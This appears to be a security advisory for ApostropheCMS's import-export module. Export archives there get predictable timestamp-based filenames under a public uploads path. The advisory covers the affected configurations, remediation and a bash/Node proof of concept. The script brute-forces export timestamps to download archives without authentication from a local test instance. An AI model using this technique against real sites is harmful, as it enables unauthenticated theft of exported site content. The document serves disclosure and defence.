The filename is fully deterministic: site `shortName`, document type, a `YYYYMMDDHHmmss` timestamp, and the format extension. There is no secret token.\n\nAnyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises `importExport.export.expiration`). That is a different model from attachment URLs, which rely on hard-to-guess IDs.\n\nSites that disable export, store uploads on a private backend with no anonymous read, or serve `/uploads` only behind authentication are not hit by the network download step—but the predictable naming is still a design flaw for the default local/public uploadfs layout.\n\nImport-only workflows and imports themselves are out of scope; this is specific to the export download URL.\n\n## Affected configurations\n\nAll of the following must apply:\n\n1. The `@apostrophecms/import-export` module is enabled and export is allowed for at least one page or piece type, **and**\n2. Export files are served the usual way: `copyIn` to `/exports/…` and delivery via the public `uploads` URL (default local uploadfs or any deployment that exposes the same path without per-file auth).\n\nIf export is turned off per type or globally, or `/uploads` is not world-readable, an anonymous attacker cannot pull the file over HTTP—but a co-resident attacker with filesystem or bucket listing access would still see guessable names.\n\n## Remediation\n\n- Put a high-entropy component in the export filename (e.g. `apos.util.generateId()`), **or**\n- Stop publishing exports on a world-readable URL—serve downloads through an authenticated route and keep objects in a private prefix until then, **or**\n- Document that `importExport.export.expiration` must stay short and treat `/uploads/exports/` as sensitive (weak on its own).\n\n### Details\n\n## Technical details\n\n`exportFile()` in `packages/import-export/lib/methods/export.js` builds the name and publishes it:\n\n```javascript\nconst date = dayjs().format('YYYYMMDDHHmmss');\nconst filename = `${self.apos.shortName}-${req.body.type.toLowerCase()}-export-${date}${format.extension}`;\nconst downloadPath = path.join('/exports', filename);\nawait copyIn(filepath, downloadPath);\n```\n\nThe admin UI sends `type` as the module name (e.g. `article`), which matches the filename. The download URL is only shown in the exporter’s notification; nothing binds the HTTP request to that user afterward. After `expiration` (default `1000 * 60 * 10` ms) a timer deletes the object from uploadfs, which limits exposure but leaves a brute-forceable window.\n\n\n## Proof of concept\n\nThe script boots a minimal Apostrophe app with import-export, performs an export as the task user, then downloads the same archive without a session—first by path guessing, then with raw `fetch`. It exits non-zero on failure.\n\n**Requirements:** Node 18+, `pnpm install` at the monorepo root (so `apostrophe` and `@apostrophecms/import-export` resolve). Set `APOSTROPHE_ROOT` to the checkout path.\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# --- config ---\nAPOSTROPHE_ROOT=\"${APOSTROPHE_ROOT:-}\"\nif [[ -z \"${APOSTROPHE_ROOT}\" || ! -f \"${APOSTROPHE_ROOT}/packages/import-export/package.json\" ]]; then\n  echo \"Set APOSTROPHE_ROOT to your apostrophe monorepo checkout.\" >&2\n  exit 1\nfi\n\nexport APOS_TEST_DB_PROTOCOL=sqlite\ncd \"${APOSTROPHE_ROOT}/packages/import-export\"\n\n# --- run embedded PoC (no extra repo files) ---\nnode <<'NODE'\nconst assert = require('node:assert/strict');\nconst path = require('node:path');\nconst dayjs = require('dayjs');\nconst t = require('apostrophe/test-lib/util.js');\n\n(async () => {\n  let apos;\n  const shortName = 'poc-export-site';\n  const exportsPath = (root) => path.join(root, 'public/uploads/exports');\n\n  try {\n    apos = await t.create({\n      root: module,\n      testModule: true,\n      shortName,\n      modules: {\n        '@apostrophecms/express': {\n          options: { session: { secret: 'poc-export-secret' } }\n        },\n        '@apostrophecms/import-export': {\n          options: {\n            importExport: { export: { expiration: 60 * 1000 } }\n          }\n        },\n        '@apostrophecms/uploadfs': { options: { storage: 'local' } },\n        'home-page': { extend: '@apostrophecms/page-type' },\n        article: {\n          extend: '@apostrophecms/piece-type',\n          options: { alias: 'article', autopublish: true }\n        }\n      }\n    });\n\n    const importExport = apos.modules['@apostrophecms/import-export'];\n    const req = apos.task.getReq();\n    await apos.article.insert(req, {\n      ...apos.article.newInstance(),\n      title: 'GHSA PoC confidential piece'\n    });\n\n    const articles = await apos.article.find(req).toArray();\n    assert.ok(articles.length > 0);\n\n    const exportStartedAt = dayjs();\n    req.body = {\n      _ids: articles.map((d) => d._id),\n      formatName: 'gzip',\n      type: 'article'\n    };\n\n    const { url: downloadUrl } = await importExport.export(req, apos.article);\n    const fileName = path.basename(downloadUrl);\n    const prefix = `${shortName}-article-export-`;\n    assert.ok(fileName.startsWith(prefix) && fileName.endsWith('.tar.gz'));\n\n    const timestamp = fileName.slice(prefix.length, -'.tar.gz'.length);\n    const onDisk = path.join(exportsPath(apos.rootDir), fileName);\n    assert.ok(require('node:fs').existsSync(onDisk));\n\n    const anon = await apos.http.get(downloadUrl, { fullResponse: true });\n    assert.equal(anon.status, 200);\n    assert.ok(Number(anon.headers['content-length'] || 0) > 0 || anon.body?.length > 0);\n\n    let bruteForced = null;\n    const center = exportStartedAt.startOf('second');\n    for (let offset = -3; offset <= 3; offset++) {\n      const ts = center.add(offset, 'second').format('YYYYMMDDHHmmss');\n      const candidate = `/uploads/exports/${shortName}-article-export-${ts}.tar.gz`;\n      try {\n        const probe = await apos.http.get(candidate, { fullResponse: true });\n        if (probe.status === 200) {\n          bruteForced = candidate;\n          break;\n        }\n      } catch (e) {\n        if (e.status !== 404) throw e;\n      }\n    }\n    assert.ok(bruteForced, 'brute force within ±3s failed');\n\n    const express = apos.modules['@apostrophecms/express'];\n    const base = `http://${express.address}:${express.port}`;\n    const ext = await fetch(`${base}${bruteForced}`);\n    assert.equal(ext.status, 200);\n    const bytes = await ext.arrayBuffer();\n    assert.ok(bytes.byteLength > 100);\n\n    console.log('OK: unauthenticated download', {\n      fileName,\n      bruteForced,\n      bytes: bytes.byteLength,\n      listenUrl: base\n    });\n  } finally {\n    if (apos) {\n      await t.destroy(apos);\n    }\n  }\n})().catch((err) => {\n  console.error(err);\n  process.exit(1);\n});\nNODE\n```\n\n**Expected output:** a line similar to  \n`OK: unauthenticated download { fileName: 'poc-export-site-article-export-….tar.gz', …, bytes: <number>, listenUrl: 'http://127.0.0.1:…' }`\n\n\n## Impact\n\n- **Confidentiality:** An unauthenticated remote party can obtain a full export tarball (documents, metadata, attachment references, and bundled files for gzip export) that was meant for the editor who ran export.
